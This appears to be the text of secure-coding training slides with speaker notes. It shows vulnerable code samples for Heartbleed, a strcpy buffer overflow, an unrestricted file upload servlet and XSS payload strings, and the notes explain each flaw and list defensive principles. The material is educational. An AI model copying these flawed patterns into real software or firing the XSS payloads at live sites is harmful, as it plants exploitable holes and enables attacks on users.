  • 12. Buffer OVER-READ ( CWE-126 ) int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned int payload_length; /* Read payload length first */ n2s(p, payload_length); pl = p; unsigned char *buffer, *response_buffer; int response; /* Allocate memory for the response. Total memory = 2 Bytes for payload_length + payload_length */ buffer = OPENSSL_malloc(2 + payload_length); response_buffer = buffer; /* Enter response length and copy payload */ s2n(payload_length, response_buffer); memcpy(response_buffer, pl, payload_length); response = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 2 + payload_length); OPENSSL_free(buffer); return r; } C Response buffer reads more data
  • 14. Buffer OVERFLOW ( CWE-120 ) void start_connection() { struct hostent *clienthp; char hostname[MAX_LEN]; // accept client connections and process requests int clientlen = sizeof(struct sockaddr_in); int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen); if (clientsocket >= 0) { clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET); strcpy(hostname, clienthp->h_name); logOutput("Accepted client connection from host ", hostname); close(clientsocket); } close(serversocket); } C/C++ HostName can have executable code
  • 16. UNRESTRICTED FILE UPLOAD ( CWE-434 ) protected void doPost(HttpServletRequest request, HttpServletResponse response) { PrintWriter out = response.getWriter(); String contentType = request.getContentType(); String boundary = contentType.substring(contentType.indexOf("boundary=")+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); // extract the filename pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf(""), pLine.lastIndexOf(""")); BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true)); for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { bw.write(line); bw.newLine(); bw.flush(); } } bw.close() ; } } JAVA
  • 17. XSS ( CWE-79 ) http://facebook.com?q=<script>alert('xss')</script>Reflected <script> document.write("Site is at: " + document.location.href + "."); </script>] Dom XSS $('div').html('welcome to' + username + 'Meeting') //My username is saved as userName = "<script>alert('xss')</script>" Persistent

Editor's Notes

  1. 1. Validate input => command line args,user-controlled files, network-interface 2. Output encoding => output in context: Javascript engine,Rendering engine, Java VM 3. Security Policy => Design component based on privilege requirement.Enforce security policy. Roll password 4. Default Deny => Explicit inclusion rather than exclusion 5. Communication Security => use TLS across board,Certificates, 6. Least privilege => process should execute in minimum previlege. Elevated permission should be for in time 7. DID => layers of defense.Assume other upper layers are already compromised.e.g: In case of RCA only service is compromised 8. AA => Resource should have access constrol 9. Cryptographic practice => Protect master secret,Random number generator, Don’t invent crypto functions, Avoid broken crypt, Use salt 10. Secure Default => Configuration tuning defaults should be proper
  2. SAN top 25 CWE based on impact & exploitability http://cwe.mitre.org/
  3. Change unwanted attribute Ruby & other lang Framework gives options to whitelist attribute
  4. Import runtime Server is compromised
  5. Target is client
  6. 2014 bug in openssl library which is in TLS Heartbeat extension to find if peer connection alive ( ping/pong ) Openssl is TLS implementation. In Feb 2012, heartbeat extension was introduced to keep the connection alive and avoid renoginations
  7. Copy the memory more than required Bound check failure
  8. Can read upto 64 KB of data => 2^16 ( 16 bit preserved for payload length ) Effected version => openssl 1.0.1 See other request exchange in plain format Compromise private keys of peers.This private key can be used to decrypt traffic later
  9. Hostname can be crafted to attack. Hostname can contain executable payload
  10. Violation of memory Safety ESP => Extended Stack pointer => pointer to top of stack, Extended Base pointer => pointer to current stack frame While writing data to a buffer, overruns the buffer's boundary and overwrites to adjacent memory Corrupting memory region => HEAP(dynamically allocated) or Stack ( call stack ) Stack => Override return address in stack frame,where return address is attacker-input filled buffer Avoid Safe language choice,Safe library ASLR => Address space layout randomization => randomization of memory space where functions & variables will reside,which make it difficult to guess
  11. Can upload any files Run in the context in shell,JSP templating engine,HTML,PHP processor